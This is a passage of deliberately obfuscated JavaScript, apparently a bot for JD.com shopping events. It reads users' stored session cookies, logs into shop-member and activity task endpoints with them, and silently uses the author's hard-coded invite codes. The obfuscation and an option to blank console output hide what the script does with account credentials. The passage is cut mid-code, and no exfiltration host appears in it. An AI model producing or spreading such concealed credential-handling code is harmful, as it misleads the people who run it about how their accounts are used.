GZhSlY=','JmFwcGlkPW1hcmtldC10YXNrLWg1JnV1aWQ9Jl90PQ==','bm93','clFoSlc=','Y1dmYUo=','VWlJT04=','WmRCZHI=','RXVRTUE=','SlNfVVNFUl9BR0VOVA==','QWRqc2Q=','R3RqRno=','VVNFUl9BR0VOVA==','TmVqTHY=','VHBEa1M=','UldTY0o=','cnpLTG8=','ZFVGWmc=','dmJueVU=','SVJSd1g=','cERmZ0w=','T2dvRnc=','Ki8q','a2VlcC1hbGl2ZQ==','emgtY24=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','WUhZZ2I=','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','dnRkSEM=','jDJsjiamnPi.cfoFm.pTDv6tYZUkndq=='];if(function(_0x220e62,_0x2155bb,_0x3eecdd){function _0x2eaaac(_0x59f2ef,_0x4d00d6,_0x34b263,_0x2b25b0,_0x7c296e,_0x2fe450){_0x4d00d6=_0x4d00d6>>0x8,_0x7c296e='po';var _0x30641a='shift',_0xbe0bf7='push',_0x2fe450='‮';if(_0x4d00d6<_0x59f2ef){while(--_0x59f2ef){_0x2b25b0=_0x220e62[_0x30641a]();if(_0x4d00d6===_0x59f2ef&&_0x2fe450==='‮'&&_0x2fe450['length']===0x1){_0x4d00d6=_0x2b25b0,_0x34b263=_0x220e62[_0x7c296e+'p']();}else if(_0x4d00d6&&_0x34b263['replace'](/[DJnPfFpTDtYZUkndq=]/g,'')===_0x4d00d6){_0x220e62[_0xbe0bf7](_0x2b25b0);}}_0x220e62[_0xbe0bf7](_0x220e62[_0x30641a]());}return 0xf5713;};return _0x2eaaac(++_0x2155bb,_0x3eecdd)>>_0x2155bb^_0x3eecdd;}(_0x6f5a,0x13f,0x13f00),_0x6f5a){_0xod9_=_0x6f5a['length']^0x13f;};function _0x2386(_0x31a9de,_0x3b305f){_0x31a9de=~~'0x'['concat'](_0x31a9de['slice'](0x1));var _0x3c9ecb=_0x6f5a[_0x31a9de];if(_0x2386['mPozqc']===undefined&&'‮'['length']===0x1){(function(){var _0x12e37c=function(){var _0x25e4ae;try{_0x25e4ae=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x57a54a){_0x25e4ae=window;}return _0x25e4ae;};var _0x911def=_0x12e37c();var _0x547209='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x911def['atob']||(_0x911def['atob']=function(_0xe42fda){var _0x4d5324=String(_0xe42fda)['replace'](/=+$/,'');for(var _0x17bff0=0x0,_0x4ad5fb,_0x5ade35,_0x377608=0x0,_0x1a1862='';_0x5ade35=_0x4d5324['charAt'](_0x377608++);~_0x5ade35&&(_0x4ad5fb=_0x17bff0%0x4?_0x4ad5fb*0x40+_0x5ade35:_0x5ade35,_0x17bff0++%0x4)?_0x1a1862+=String['fromCharCode'](0xff&_0x4ad5fb>>(-0x2*_0x17bff0&0x6)):0x0){_0x5ade35=_0x547209['indexOf'](_0x5ade35);}return _0x1a1862;});}());_0x2386['VAmqZY']=function(_0xb1ccd5){var _0x327035=atob(_0xb1ccd5);var _0x5b7bae=[];for(var _0x2ebeee=0x0,_0x316c57=_0x327035['length'];_0x2ebeee<_0x316c57;_0x2ebeee++){_0x5b7bae+='%'+('00'+_0x327035['charCodeAt'](_0x2ebeee)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5b7bae);};_0x2386['XkkWPK']={};_0x2386['mPozqc']=!![];}var _0x10a8b0=_0x2386['XkkWPK'][_0x31a9de];if(_0x10a8b0===undefined){_0x3c9ecb=_0x2386['VAmqZY'](_0x3c9ecb);_0x2386['XkkWPK'][_0x31a9de]=_0x3c9ecb;}else{_0x3c9ecb=_0x10a8b0;}return _0x3c9ecb;};const $=new Env(_0x2386('‮0'));const jdCookieNode=$[_0x2386('‫1')]()?require(_0x2386('‫2')):'';const notify=$[_0x2386('‫1')]()?require(_0x2386('‫3')):'';let cookiesArr=[],cookie='',message='';const CryptoJS=require(_0x2386('‮4'));let ownCode=null;if($[_0x2386('‫1')]()){Object[_0x2386('‫5')](jdCookieNode)[_0x2386('‫6')](_0x2ace0b=>{cookiesArr[_0x2386('‫7')](jdCookieNode[_0x2ace0b]);});if(process[_0x2386('‫8')][_0x2386('‫9')]&&process[_0x2386('‫8')][_0x2386('‫9')]===_0x2386('‫a'))console[_0x2386('‫b')]=()=>{};}else{let cookiesData=$[_0x2386('‮c')](_0x2386('‮d'))||'[]';cookiesData=JSON[_0x2386('‫e')](cookiesData);cookiesArr=cookiesData[_0x2386('‫f')](_0x5cb13c=>_0x5cb13c[_0x2386('‮10')]);cookiesArr[_0x2386('‫11')]();cookiesArr[_0x2386('‫7')](...[$[_0x2386('‮c')](_0x2386('‫12')),$[_0x2386('‮c')](_0x2386('‮13'))]);cookiesArr[_0x2386('‫11')]();cookiesArr=cookiesArr[_0x2386('‫14')](_0xc5b062=>!!_0xc5b062);}!(async()=>{var _0x2d3fc9={'eQxwp':_0x2386('‫15'),'PAOKt':_0x2386('‮16'),'lRSjc':_0x2386('‮17'),'VPRyD':function(_0x154dcd,_0x234d33){return _0x154dcd<_0x234d33;},'eCXJy':function(_0x242cf2,_0x419412){return _0x242cf2+_0x419412;},'bHDKG':function(_0xc8fb3f,_0x480a40){return _0xc8fb3f<_0x480a40;},'jzvet':function(_0x9c5378,_0xbfe5a7){return _0x9c5378!==_0xbfe5a7;},'BKeOQ':_0x2386('‮18'),'HUkAI':function(_0x3cd096,_0x5dea87){return _0x3cd096===_0x5dea87;},'SDNCx':_0x2386('‮19'),'foIEA':_0x2386('‮1a'),'ZhYdW':function(_0x2b243b,_0x327a5a){return _0x2b243b<_0x327a5a;},'KZiJk':_0x2386('‫1b'),'ZrgFs':_0x2386('‫1c'),'EQQhv':function(_0x58b55e,_0x3fd342){return _0x58b55e(_0x3fd342);},'nZjlC':function(_0x1b34ef,_0x2c3fbf){return _0x1b34ef+_0x2c3fbf;},'uwTik':function(_0x320aec){return _0x320aec();},'PvBYE':function(_0xfc8c52,_0x365658,_0x48ee3f){return _0xfc8c52(_0x365658,_0x48ee3f);},'Ffxdp':_0x2386('‮1d'),'rDVIC':_0x2386('‮1e'),'AXFgT':_0x2386('‮1f'),'xtmuk':_0x2386('‮20'),'LEPOQ':_0x2386('‫21'),'vfOdu':_0x2386('‫22'),'eDthu':_0x2386('‫23'),'WCpsN':_0x2386('‫24'),'Mxwxa':_0x2386('‮25'),'fqgMY':_0x2386('‮26'),'mASMI':_0x2386('‮27'),'NpwWW':_0x2386('‮28'),'DaQVu':_0x2386('‫29'),'uXlyF':function(_0x1190bb,_0x9b00f1,_0x1fff5c){return _0x1190bb(_0x9b00f1,_0x1fff5c);},'pjBzo':function(_0x7ad019){return _0x7ad019();},'QSqAL':function(_0x41b1fc,_0x3f65c7){return _0x41b1fc>_0x3f65c7;}};if(!cookiesArr[0x0]){$[_0x2386('‫2a')]($[_0x2386('‮2b')],_0x2d3fc9[_0x2386('‮2c')],_0x2d3fc9[_0x2386('‮2d')],{'open-url':_0x2d3fc9[_0x2386('‮2d')]});return;}$[_0x2386('‫2e')]=0x0;console[_0x2386('‫b')](_0x2d3fc9[_0x2386('‮2f')]);let _0x1e9653=[];for(let _0x5be6cd=0x0;_0x2d3fc9[_0x2386('‮30')](_0x5be6cd,cookiesArr[_0x2386('‮31')]);_0x5be6cd+=0xf){_0x1e9653[_0x2386('‫7')](cookiesArr[_0x2386('‮32')](_0x5be6cd,_0x2d3fc9[_0x2386('‫33')](_0x5be6cd,0xf)));}for(let _0x573b9a=0x0;_0x2d3fc9[_0x2386('‮34')](_0x573b9a,_0x1e9653[_0x2386('‮31')]);_0x573b9a++){if(_0x2d3fc9[_0x2386('‮35')](_0x2d3fc9[_0x2386('‫36')],_0x2d3fc9[_0x2386('‫36')])){$[_0x2386('‫b')](err);}else{try{if(_0x2d3fc9[_0x2386('‫37')](_0x2d3fc9[_0x2386('‫38')],_0x2d3fc9[_0x2386('‮39')])){res=JSON[_0x2386('‫e')](data);if(res[_0x2386('‫3a')]){if(res[_0x2386('‫3b')][_0x2386('‮3c')]){$[_0x2386('‮3d')]=res[_0x2386('‫3b')][_0x2386('‮3c')][0x0][_0x2386('‮3e')][_0x2386('‮3f')];}}}else{let _0x466011=_0x1e9653[_0x573b9a];const _0x4942de=_0x466011[_0x2386('‫f')]((_0x34c388,_0x194e4d)=>main(_0x34c388));await Promise[_0x2386('‫40')](_0x4942de);}}catch(_0x363399){}}}if(_0x2d3fc9[_0x2386('‫37')]($[_0x2386('‫2e')],0x1)){for(let _0xb19eeb=0x0;_0x2d3fc9[_0x2386('‮41')](_0xb19eeb,cookiesArr[_0x2386('‮31')]);_0xb19eeb++){if(cookiesArr[_0xb19eeb]){if(_0x2d3fc9[_0x2386('‮35')](_0x2d3fc9[_0x2386('‮42')],_0x2d3fc9[_0x2386('‫43')])){cookie=cookiesArr[_0xb19eeb];originCookie=cookiesArr[_0xb19eeb];newCookie='';$[_0x2386('‫44')]=_0x2d3fc9[_0x2386('‫45')](decodeURIComponent,cookie[_0x2386('‫46')](/pt_pin=(.+?);/)&&cookie[_0x2386('‫46')](/pt_pin=(.+?);/)[0x1]);$[_0x2386('‫47')]=_0x2d3fc9[_0x2386('‮48')](_0xb19eeb,0x1);$[_0x2386('‫49')]=!![];$[_0x2386('‮4a')]='';await _0x2d3fc9[_0x2386('‫4b')](checkCookie);console[_0x2386('‫b')](_0x2386('‮4c')+$[_0x2386('‫47')]+'】'+($[_0x2386('‮4a')]||$[_0x2386('‫44')])+_0x2386('‫4d'));if(!$[_0x2386('‫49')]){$[_0x2386('‫2a')]($[_0x2386('‮2b')],_0x2386('‫4e'),_0x2386('‫4f')+$[_0x2386('‫47')]+'\x20'+($[_0x2386('‮4a')]||$[_0x2386('‫44')])+_0x2386('‮50'),{'open-url':_0x2d3fc9[_0x2386('‮2d')]});if($[_0x2386('‫1')]()){}continue;}$[_0x2386('‫51')]=0x0;$[_0x2386('‮52')]=_0x2d3fc9[_0x2386('‮53')](getUUID,_0x2d3fc9[_0x2386('‮54')],0x1);$[_0x2386('‫55')]=_0x2d3fc9[_0x2386('‫45')](getUUID,_0x2d3fc9[_0x2386('‮56')]);authorCodeList=[_0x2d3fc9[_0x2386('‮57')],_0x2d3fc9[_0x2386('‮58')],_0x2d3fc9[_0x2386('‫59')],_0x2d3fc9[_0x2386('‮5a')],_0x2d3fc9[_0x2386('‫5b')],_0x2d3fc9[_0x2386('‫5c')],_0x2d3fc9[_0x2386('‫5d')],_0x2d3fc9[_0x2386('‮5e')]];$[_0x2386('‮5f')]=_0x2d3fc9[_0x2386('‫60')];$[_0x2386('‫61')]=_0x2d3fc9[_0x2386('‮62')];$[_0x2386('‫63')]=_0x2d3fc9[_0x2386('‫64')];$[_0x2386('‫65')]=ownCode?ownCode:authorCodeList[_0x2d3fc9[_0x2386('‮66')](random,0x0,authorCodeList[_0x2386('‮31')])];await _0x2d3fc9[_0x2386('‫67')](mpdz);await $[_0x2386('‮68')](0x7d0);if(_0x2d3fc9[_0x2386('‫69')]($[_0x2386('‫51')],0x0)){message+=_0x2386('‫6a')+$[_0x2386('‫47')]+'】'+($[_0x2386('‮4a')]||$[_0x2386('‫44')])+_0x2386('‮6b')+$[_0x2386('‫51')]+_0x2386('‫6c');}}else{$[_0x2386('‫b')](err);}}}}})()[_0x2386('‫6d')](_0x3b4819=>{$[_0x2386('‫b')]('','❌\x20'+$[_0x2386('‮2b')]+_0x2386('‮6e')+_0x3b4819+'!','');})[_0x2386('‮6f')](()=>{$[_0x2386('‫70')]();});async function mpdz(){var _0x265e82={'Poaxc':function(_0x2307a3){return _0x2307a3();},'OMvaI':_0x2386('‫71'),'OGiRh':_0x2386('‫72'),'HLwNf':function(_0x55e742,_0x13d71f){return _0x55e742(_0x13d71f);},'kuuLW':_0x2386('‮73'),'Hfqqi':_0x2386('‮74'),'bCrcQ':function(_0x50a6bd,_0x204898){return _0x50a6bd+_0x204898;},'xuWlW':function(_0x279a81,_0x1c02da){return _0x279a81+_0x1c02da;},'ugBrm':function(_0xfedf00,_0xca5d0a){return _0xfedf00+_0xca5d0a;},'qlkHA':function(_0x36ef2e,_0x9063f2){return _0x36ef2e+_0x9063f2;},'UttwY':function(_0x3fbef5,_0x25c33a){return _0x3fbef5+_0x25c33a;},'CICJi':_0x2386('‫75'),'ITKdU':_0x2386('‫76'),'tRHFQ':_0x2386('‮77'),'Jnwed':function(_0x3af292){return _0x3af292();},'SupcN':function(_0x17c783,_0x20ddaa,_0x2d538d,_0x2b74b3){return _0x17c783(_0x20ddaa,_0x2d538d,_0x2b74b3);},'wwwrF':_0x2386('‫78'),'uPeSG':function(_0x1f76f4,_0x173da5){return _0x1f76f4===_0x173da5;},'CXAUI':_0x2386('‮79'),'lhceD':_0x2386('‫7a'),'uCdNX':function(_0x1fbd80,_0x3e8eba){return _0x1fbd80===_0x3e8eba;},'ZbUzs':function(_0x27a14c,_0x4d537a){return _0x27a14c===_0x4d537a;},'gOsPv':_0x2386('‮7b'),'YmWkq':_0x2386('‮7c'),'Brqio':function(_0x3c5761,_0x35b9e2){return _0x3c5761+_0x35b9e2;},'bgdcH':_0x2386('‮7d'),'jJgZO':_0x2386('‮7e'),'VMsGz':function(_0x2bcc84,_0x450a4e,_0xa316b8){return _0x2bcc84(_0x450a4e,_0xa316b8);},'qyJyi':_0x2386('‫7f'),'oZzdU':_0x2386('‮80'),'SIcTO':_0x2386('‮81'),'RKcFh':_0x2386('‮82'),'TxiSH':_0x2386('‮83'),'AFwNJ':function(_0x1d11eb,_0x51bd45){return _0x1d11eb===_0x51bd45;},'Fszvg':_0x2386('‫84'),'yfmFg':function(_0x1c4365,_0x53562c){return _0x1c4365===_0x53562c;},'yTmXw':_0x2386('‫85'),'iROPU':function(_0x2f6f05,_0x15c0cd){return _0x2f6f05!==_0x15c0cd;},'YAcTk':_0x2386('‮86'),'ifbAX':_0x2386('‮87'),'RJuNm':function(_0x40f542,_0x2c108d){return _0x40f542===_0x2c108d;},'uxHgl':_0x2386('‮88'),'uEpml':function(_0x26b4fa,_0xe3f45f,_0x3e71b6){return _0x26b4fa(_0xe3f45f,_0x3e71b6);},'vfIqM':_0x2386('‮89'),'UfNRt':_0x2386('‫8a'),'hVeEV':function(_0x59faad,_0x1ecd80,_0x578b66){return _0x59faad(_0x1ecd80,_0x578b66);},'UhOnh':function(_0x596c92,_0x19b69f){return _0x596c92===_0x19b69f;},'ZSFqz':_0x2386('‮8b'),'OKAId':_0x2386('‫8c'),'hdmjx':function(_0x2ce5e5,_0x49bf73,_0x452db9){return _0x2ce5e5(_0x49bf73,_0x452db9);},'luPPU':_0x2386('‫8d'),'tvLwI':function(_0x5f14f0,_0x13cb21,_0x22d023){return _0x5f14f0(_0x13cb21,_0x22d023);},'AARlK':_0x2386('‮8e'),'nylch':function(_0x5228e6,_0x2fb01d){return _0x5228e6!=_0x2fb01d;},'MZHbV':_0x2386('‫8f'),'PXqsI':_0x2386('‮90'),'QXOjZ':function(_0x1d4608,_0x19e0c9,_0x335039){return _0x1d4608(_0x19e0c9,_0x335039);},'TpyIz':_0x2386('‮91'),'AdVzs':_0x2386('‫92'),'NSUNF':_0x2386('‮93'),'cXDGy':_0x2386('‫94'),'FEwPk':_0x2386('‫95'),'NjVAG':function(_0x38546e,_0x3e2720,_0x15ed58){return _0x38546e(_0x3e2720,_0x15ed58);},'wPmfl':_0x2386('‫96'),'tWLUu':_0x2386('‫97'),'wPUox':_0x2386('‫98')};$[_0x2386('‫99')]=null;$[_0x2386('‫9a')]=null;$[_0x2386('‫9b')]=null;$[_0x2386('‫9c')]=null;await _0x265e82[_0x2386('‮9d')](getToken);console[_0x2386('‫b')]($[_0x2386('‫99')]);if($[_0x2386('‫99')]){await $[_0x2386('‮68')](0x7d0);await _0x265e82[_0x2386('‫9e')](task,_0x265e82[_0x2386('‮9f')],{'inviteNick':$[_0x2386('‫65')],'jdToken':$[_0x2386('‫99')],'shopId':null},0x0);await $[_0x2386('‮68')](0x7d0);if($[_0x2386('‫9a')]){if(_0x265e82[_0x2386('‮a0')](_0x265e82[_0x2386('‮a1')],_0x265e82[_0x2386('‮a1')])){console[_0x2386('‫b')](_0x265e82[_0x2386('‮a2')](_0x265e82[_0x2386('‫a3')],$[_0x2386('‫9a')]));if(_0x265e82[_0x2386('‫a4')]($[_0x2386('‫47')],0x1)){if(_0x265e82[_0x2386('‮a5')](_0x265e82[_0x2386('‮a6')],_0x265e82[_0x2386('‮a7')])){$[_0x2386('‮3d')]=res[_0x2386('‫3b')][_0x2386('‮3c')][0x0][_0x2386('‮3e')][_0x2386('‮3f')];}else{ownCode=$[_0x2386('‫9a')];console[_0x2386('‫b')](_0x265e82[_0x2386('‮a8')](_0x265e82[_0x2386('‮a9')],ownCode));}}await $[_0x2386('‮68')](0x7d0);console[_0x2386('‫b')](_0x265e82[_0x2386('‫aa')]);await _0x265e82[_0x2386('‮ab')](task,_0x265e82[_0x2386('‮ac')],{'missionType':_0x265e82[_0x2386('‮ad')],'inviterNick':$[_0x2386('‫65')]});await $[_0x2386('‮68')](0x7d0);console[_0x2386('‫b')](_0x265e82[_0x2386('‫ae')]);await _0x265e82[_0x2386('‮ab')](task,_0x265e82[_0x2386('‫af')],{});for(const _0x4ebf1f of $[_0x2386('‫9c')]){if(_0x265e82[_0x2386('‮a5')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‮b1')])||_0x265e82[_0x2386('‫b2')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‮b3')])||_0x265e82[_0x2386('‫b4')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‮b5')])||_0x265e82[_0x2386('‫b4')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‮ad')])){if(_0x265e82[_0x2386('‫b6')](_0x265e82[_0x2386('‫b7')],_0x265e82[_0x2386('‮b8')])){continue;}else{console[_0x2386('‫b')](err);}}await $[_0x2386('‮68')](0x7d0);if(_0x265e82[_0x2386('‫b4')](_0x4ebf1f[_0x2386('‫b9')],![])){console[_0x2386('‫b')](_0x4ebf1f[_0x2386('‮ba')]);if(_0x265e82[_0x2386('‫bb')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‫bc')])){await _0x265e82[_0x2386('‫bd')](task,_0x265e82[_0x2386('‮be')],{});console[_0x2386('‫b')](_0x265e82[_0x2386('‮a8')](_0x265e82[_0x2386('‮bf')],$[_0x2386('‫c0')]));await _0x265e82[_0x2386('‫c1')](task,_0x265e82[_0x2386('‮ac')],{'missionType':_0x4ebf1f[_0x2386('‮b0')],'shopId':$[_0x2386('‫c0')]});break;}else if(_0x265e82[_0x2386('‫c2')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‫c3')])){if(_0x265e82[_0x2386('‫c2')](_0x265e82[_0x2386('‫c4')],_0x265e82[_0x2386('‫c4')])){await _0x265e82[_0x2386('‮c5')](task,_0x265e82[_0x2386('‫c6')],{});await _0x265e82[_0x2386('‮c5')](task,_0x265e82[_0x2386('‮ac')],{'missionType':_0x4ebf1f[_0x2386('‮b0')],'goodsNumId':$[_0x2386('‮c7')]});}else{_0x265e82[_0x2386('‫c8')](resolve);}}else{await _0x265e82[_0x2386('‫c9')](task,_0x265e82[_0x2386('‮ac')],{'missionType':_0x4ebf1f[_0x2386('‮b0')]});}}else{console[_0x2386('‫b')](_0x265e82[_0x2386('‮a8')](_0x4ebf1f[_0x2386('‮ba')],_0x265e82[_0x2386('‮ca')]));}}await $[_0x2386('‮68')](0x7d0);if(_0x265e82[_0x2386('‮cb')]($[_0x2386('‮cc')],0x0)){var _0x229151=_0x265e82[_0x2386('‮cd')][_0x2386('‫ce')]('|'),_0x4dc1b3=0x0;while(!![]){switch(_0x229151[_0x4dc1b3++]){case'0':console[_0x2386('‫b')](_0x265e82[_0x2386('‫cf')]);continue;case'1':await _0x265e82[_0x2386('‮d0')](task,_0x265e82[_0x2386('‫d1')],{'type':_0x265e82[_0x2386('‫d2')],'remark':_0x265e82[_0x2386('‫d3')]});continue;case'2':await _0x265e82[_0x2386('‮d0')](task,_0x265e82[_0x2386('‮d4')],{'carId':0x1,'carName':_0x265e82[_0x2386('‫d5')]});continue;case'3':await _0x265e82[_0x2386('‫d6')](task,_0x265e82[_0x2386('‮d7')],{'gameLogId':$[_0x2386('‫d8')],'point':0xc8});continue;case'4':await $[_0x2386('‮68')](0x3e8);continue;case'5':await $[_0x2386('‮68')](0x7d0);continue;}break;}}}else{var _0x28db00=new Date()[_0x2386('‫d9')](),_0x29002a=_0x265e82[_0x2386('‫da')],_0x1ea4ac=_0x265e82[_0x2386('‮db')],_0x32e921=JSON[_0x2386('‫dc')](t),_0x1cd94f=_0x265e82[_0x2386('‮dd')](encodeURIComponent,_0x32e921),_0x1fee2a=new RegExp('\x27','g'),_0x1059d3=new RegExp('~','g'),_0x1cd94f=_0x1cd94f[_0x2386('‮de')](_0x1fee2a,_0x265e82[_0x2386('‮df')]),_0x1cd94f=_0x1cd94f[_0x2386('‮de')](_0x1059d3,_0x265e82[_0x2386('‮e0')]),_0x18f589=_0x265e82[_0x2386('‮e1')](_0x265e82[_0x2386('‫e2')](_0x265e82[_0x2386('‮e3')](_0x265e82[_0x2386('‫e4')](_0x265e82[_0x2386('‫e4')](_0x265e82[_0x2386('‫e4')](_0x265e82[_0x2386('‮a2')](_0x1ea4ac,_0x265e82[_0x2386('‫e5')]),_0x1ea4ac),_0x265e82[_0x2386('‫e6')]),_0x1cd94f),_0x265e82[_0x2386('‮e7')]),_0x28db00),_0x29002a);return{'sign':CryptoJS[_0x2386('‫e8')](_0x18f589[_0x2386('‫e9')]())[_0x2386('‫ea')](),'timeStamp':_0x28db00};}}else{$[_0x2386('‫b')](_0x265e82[_0x2386('‫eb')]);}}else{$[_0x2386('‫b')](_0x265e82[_0x2386('‫ec')]);}}function task(_0x1b27d0,_0x1a4c00,_0x4992c8=0x1){var _0x54dd8b={'CxBgD':function(_0x8a97b3){return _0x8a97b3();},'qyVlL':function(_0x1bd8ec,_0x1ccd08){return _0x1bd8ec*_0x1ccd08;},'uuonj':function(_0x2fce4c,_0x149b00){return _0x2fce4c===_0x149b00;},'gQfTz':_0x2386('‮ed'),'JtOQT':function(_0x2b89a1,_0xaf2ebe){return _0x2b89a1!==_0xaf2ebe;},'IYdZt':_0x2386('‮ee'),'XbUXY':_0x2386('‮ef'),'dDXXf':_0x2386('‮f0'),'HOCQJ':_0x2386('‫f1'),'eqNis':_0x2386('‫78'),'LHGcp':_0x2386('‫7f'),'bmVlz':function(_0x4053ad,_0x61100c){return _0x4053ad===_0x61100c;},'Mdncn':function(_0x2e0a64,_0xfbef15){return _0x2e0a64===_0xfbef15;},'LoVmQ':_0x2386('‫f2'),'vQXvm':_0x2386('‮f3'),'dLpfb':_0x2386('‮82'),'QMinW':_0x2386('‮89'),'yBDmD':_0x2386('‫8d'),'mgPSU':_0x2386('‫94'),'FHZrB':_0x2386('‮91'),'iOJwY':_0x2386('‮f4'),'iUgXQ':_0x2386('‮f5'),'LKiPM':_0x2386('‫96'),'MIEbI':_0x2386('‮f6'),'UuOSQ':_0x2386('‫f7'),'FDavm':_0x2386('‫f8'),'CvPeX':function(_0x20bfc2){return _0x20bfc2();},'QNqYw':_0x2386('‫f9'),'vRWua':function(_0x340b57,_0x9b6515,_0x28a159,_0x8883f0){return _0x340b57(_0x9b6515,_0x28a159,_0x8883f0);},'oTLJK':_0x2386('‮fa'),'zCzjz':_0x2386('‫fb'),'qdmAL':function(_0x3e47ef,_0x2e1991){return _0x3e47ef(_0x2e1991);}};body={'jsonRpc':_0x54dd8b[_0x2386('‫fc')],'params':{'commonParameter':{'appkey':$[_0x2386('‮5f')],'m':_0x54dd8b[_0x2386('‫fd')],'userId':$[_0x2386('‫61')]},'admJson':{'actId':$[_0x2386('‫63')],'method':_0x2386('‮fe')+_0x1b27d0,'userId':$[_0x2386('‫61')],'buyerNick':$[_0x2386('‫9a')]?$[_0x2386('‫9a')]:''}}};Object[_0x2386('‮ff')](body[_0x2386('‫100')][_0x2386('‫76')],_0x1a4c00);let _0x2d748b=_0x54dd8b[_0x2386('‫101')](getSign,body[_0x2386('‫100')][_0x2386('‫76')]);body[_0x2386('‫100')][_0x2386('‫102')][_0x2386('‮103')]=_0x2d748b[_0x2386('‮103')];body[_0x2386('‫100')][_0x2386('‫102')][_0x2386('‮77')]=_0x2d748b[_0x2386('‮104')];return new Promise(_0x2ad461=>{var _0x55c70c={'jAfGm':function(_0x1584ba){return _0x54dd8b[_0x2386('‮105')](_0x1584ba);},'sTQQq':function(_0x461040,_0x2d47a6){return _0x54dd8b[_0x2386('‮106')](_0x461040,_0x2d47a6);},'EDHcl':function(_0x3abae7,_0x1fa4f0){return _0x54dd8b[_0x2386('‮107')](_0x3abae7,_0x1fa4f0);},'etLJR':_0x54dd8b[_0x2386('‫108')],'mIkDA':function(_0x453a6c,_0x4f9621){return _0x54dd8b[_0x2386('‮109')](_0x453a6c,_0x4f9621);},'WsvAN':_0x54dd8b[_0x2386('‮10a')],'NVLiC':_0x54dd8b[_0x2386('‮10b')],'Jqwrj':_0x54dd8b[_0x2386('‮10c')],'zpEsN':_0x54dd8b[_0x2386('‮10d')],'PbdWU':_0x54dd8b[_0x2386('‫10e')],'iMcjp':_0x54dd8b[_0x2386('‮10f')],'HMCKR':function(_0x1af5ca,_0xab7f4a){return _0x54dd8b[_0x2386('‫110')](_0x1af5ca,_0xab7f4a);},'tmDBI':function(_0x36f1f5,_0x1f75e0){return _0x54dd8b[_0x2386('‮111')](_0x36f1f5,_0x1f75e0);},'zMvwL':_0x54dd8b[_0x2386('‫112')],'gKjah':_0x54dd8b[_0x2386('‫113')],'VTlUA':_0x54dd8b[_0x2386('‫114')],'OQYCL':_0x54dd8b[_0x2386('‮115')],'EQenL':_0x54dd8b[_0x2386('‮116')],'ZXcyP':_0x54dd8b[_0x2386('‮117')],'fqadp':_0x54dd8b[_0x2386('‮118')],'JYmwY':_0x54dd8b[_0x2386('‫119')],'ogxae':_0x54dd8b[_0x2386('‫11a')],'rCsGR':_0x54dd8b[_0x2386('‮11b')],'HYfwg':_0x54dd8b[_0x2386('‮11c')],'tpQCx':_0x54dd8b[_0x2386('‮11d')],'OgIXU':_0x54dd8b[_0x2386('‫11e')],'PItFz':function(_0x56fc04){return _0x54dd8b[_0x2386('‮11f')](_0x56fc04);}};if(_0x54dd8b[_0x2386('‮109')](_0x54dd8b[_0x2386('‫120')],_0x54dd8b[_0x2386('‫120')])){_0x55c70c[_0x2386('‮121')](_0x2ad461);}else{$[_0x2386('‮122')](_0x54dd8b[_0x2386('‫123')](taskUrl,_0x1b27d0,body,_0x4992c8),async(_0x48289a,_0x25c366,_0x5543ca)=>{var _0x4ecb8f={'VDcAn':function(_0x15a2a9,_0x5bb2f1){return _0x55c70c[_0x2386('‮124')](_0x15a2a9,_0x5bb2f1);},'lgPXT':function(_0x581e43,_0x51220d){return _0x55c70c[_0x2386('‮125')](_0x581e43,_0x51220d);},'MghDc':_0x55c70c[_0x2386('‮126')],'HJJoR':function(_0x482773){return _0x55c70c[_0x2386('‮121')](_0x482773);}};try{if(_0x55c70c[_0x2386('‫127')](_0x55c70c[_0x2386('‫128')],_0x55c70c[_0x2386('‫129')])){if(_0x48289a){$[_0x2386('‫b')](_0x48289a);}else{if(_0x5543ca){_0x5543ca=JSON[_0x2386('‫e')](_0x5543ca);if(_0x5543ca[_0x2386('‫3a')]){if(_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')]){if(_0x55c70c[_0x2386('‫127')](_0x55c70c[_0x2386('‫12c')],_0x55c70c[_0x2386('‫12d')])){switch(_0x1b27d0){case _0x55c70c[_0x2386('‮12e')]:$[_0x2386('‫9a')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‮12f')][_0x2386('‫9a')];$[_0x2386('‫130')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‫131')][_0x2386('‫132')];$[_0x2386('‮12f')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‮12f')];$[_0x2386('‮cc')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‮12f')][_0x2386('‮cc')];break;case _0x55c70c[_0x2386('‫133')]:if(_0x55c70c[_0x2386('‮134')](_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')],0x1f4)){console[_0x2386('‫b')](_0x5543ca[_0x2386('‮12a')][_0x2386('‫2a')]);}else if(_0x55c70c[_0x2386('‮135')](_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')],0xc8)){if(_0x55c70c[_0x2386('‫127')](_0x55c70c[_0x2386('‮136')],_0x55c70c[_0x2386('‫137')])){console[_0x2386('‫b')](_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‫138')]);}else{Host=HostArr[Math[_0x2386('‫139')](_0x4ecb8f[_0x2386('‮13a')](Math[_0x2386('‫13b')](),HostArr[_0x2386('‮31')]))];}}break;case _0x55c70c[_0x2386('‮13c')]:if(_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')]){$[_0x2386('‫9c')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')];}break;case 